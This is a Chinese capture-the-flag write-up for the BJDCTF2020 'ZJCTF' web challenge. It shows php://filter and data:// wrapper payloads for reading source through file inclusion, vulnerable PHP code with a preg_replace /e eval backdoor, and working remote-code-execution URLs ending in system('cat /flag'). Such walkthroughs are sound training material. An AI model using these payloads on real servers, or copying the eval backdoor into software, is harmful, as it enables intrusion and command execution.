首页 > 其他分享 >[BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]ZJCTF,不过如此

时间:2024-02-05 18:00:55浏览次数:51  
标签:php 匹配 getFlag 不过如此 ZJCTF cmd next 参数 BJDCTF2020

[BJDCTF2020]ZJCTF,不过如此

dLmaoCYdW6txot0anxs05mkaBPP4uv0aU7ok7q5Ehns

代码审计,在符合if的条件后,我们可以通过include函数包含想要查看的文件

因此,首先需要传入两个参数text和file:

text参数必须不为空,内容需要为I have a dream,file参数的内容则在后面的注释里提示我们为next.php,并且file参数里面不能包含/flag/,否则程序会终止

然后如果需要直接读取的话,我们需要通过伪协议base64编码之后输出到页面中

构造payload

/?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php

Tn-R1tbeeD0yjDErddDLBq58F2QmS8y_hx1qb-RnVXs

这里的伪协议也可以使用data进行构造,效果相同

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

ySFcpxiNtNDRqtCW0Xqpjlj4AqXDKGphrAiLjnr7o8w

解码后得到next.php的内容

zGh2Im97qBdZRSBq0rkhkAldj-t_LsEseYzOfZ46f78

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里涉及到preg_match的RCE漏洞,详情参考https://xz.aliyun.com/t/2557

preg_replace( '/(' . $re . ')/ei','strtolower("\\1")', $str);

preg_match使用/e模式,可以导致代码执行。当preg_match函数在匹配到符合正则的字符串时,会将替换字符串(上面的第二个参数)当作代码来执行。/i表示匹配时忽略大小写的差异。

这里第二个参数固定为strtolower("\\1");

这里的\\1实际上体现为\1

对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问

这里的\1指的是第一个匹配项

foreach循环把所有的参数对分次交给complex函数运行。

getFlag是一句话木马,"cmd"作为参数。

因此,这里我们需要构造两个参数:

  1. 作为正则表达式匹配条件的参数,参数值:getFlag()
  2. cmd,参数值:需要php执行的代码
next.php?\S*=${getFlag()}&&cmd=phpinfo();

\S在PHP正则表达式中表示匹配所有非空字符,*表示多次匹配

ML0zR_BElsfTL9ernYjNEcs7_gRqbk7akaaLTRijogM

next.php?\S*=${getFlag()}&&cmd=system('ls /');

tTflJmb9J5pCt_i-70qvberuqqLKuBhBVAcpEktGZ8w

next.php?\S*=${getFlag()}&&cmd=system('cat /flag');

msCrnbASlkyBNUZNpT2bVUO3CCw4EfN9R_unU_GI6QE

标签:php,匹配,getFlag,不过如此,ZJCTF,cmd,next,参数,BJDCTF2020
From: https://www.cnblogs.com/fishjumpriver/p/18008589

相关文章

  • [BJDCTF2020]The mystery of ip
    [BJDCTF2020]Themysteryofiphint页面的源代码里发现提示应该是和IP相关,有可能用到XFF请求头,遂用BP抓包修改了XFF之后,被成功执行,XFF可控,代码是php代码,推测:PHP可能存在Twig模版注入漏洞Smarty模板的SSTI漏洞(主要为Flask存在Jinjia2模版注入漏洞)添加模板算式,{{7*7}}成......
  • 【pwn】[ZJCTF 2019]EasyHeap --fastbin攻击,house of spirit
    首先查看一下附件的保护情况可以看到,got表是可修改的状态接着看主函数的逻辑非常典型的菜单题,接着分析每一个函数的作用unsigned__int64create_heap(){inti;//[rsp+4h][rbp-1Ch]size_tsize;//[rsp+8h][rbp-18h]charbuf[8];//[rsp+10h][rbp-10h]BY......
  • [ZJCTF 2019]NiZhuanSiWei
    <?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcometothezjctf")){echo"<br><h1&g......
  • [BJDCTF2020]Easy MD5 1
    题目环境:尝试了SQL注入、命令执行等都不行点击提交并burp进行抓包Repeater进行重放这里看到了内置的SQL语句select*from'admin'wherepassword=md5($pass,true)发现传进去的值会进行md5加密这里看了大佬们的解释ffifdyop绕过,绕过原理是:<br/>ffifdyop这个字符串被......
  • [ZJCTF 2019]NiZhuanSiWei 1
    1.进入页面2.从代码中可以看出要求,以get方式传递text,file,password三个参数。3.第一层验证if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))  传入text,而且file_get_contents($text,'r')之后内容为“welcometothezjctf”  利用php伪协......
  • CTFshow Reverse BJDCTF2020 JustRE wp
    INT_PTR__stdcallDialogFunc(HWNDhWnd,UINTa2,WPARAMa3,LPARAMa4){CHARString[100];//[esp+0h][ebp-64h]BYREFif(a2!=272){if(a2!=273)return0;if((_WORD)a3!=1&&(_WORD)a3!=2){sprintf(......
  • CTFshow Reverse BJDCTF2020 hamburger_competition wp
    游戏主函数在Assembly-CSharp.dll,.net写的用dnSpy打开打到主函数elseif(name=="汉堡顶"&&Init.spawnCount==5){Init.secret^=127;stringstr=Init.secret.ToString();if(ButtonSpawnFruit.Sha1(str)=="DD01903921EA24941C26A48F2CEC24E0......
  • CTFshow Reverse BJDCTF2020 Easy wp
    这个没有入口,只能一个个看,发现qes这个函数有一堆数,函数很小,逆向也容易,找到然后用BJD包裹#intqes()a=[0x7FFA7E31,0x224FC,0x884A4239,0x22A84,0x84FF235,0x3FF87,0x88424233,0x23185,0x7E4243F1,0x231FC]foriinrange(5):v6=(a[i*2]&0xffffffff)|((a[i*2+1]......
  • [ZJCTF 2019]NiZhuanSiWei
    打开题目,得到一段源码,如下。<?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcometothezjctf")){echo"<......
  • [BJDCTF2020]Easy MD5
    打开题目,发现是一个输入框,抓响应包后发现存在如下提示:Hint:select*from'admin'wherepassword=md5($pass,true)。当PHP的md5()函数的第二个参数为True时,会将string转换为16字符的二进制格式,如使用一些特殊的$pass,则可以绕过以上SQL查询,如:ffifdyop,ffifdyop计算......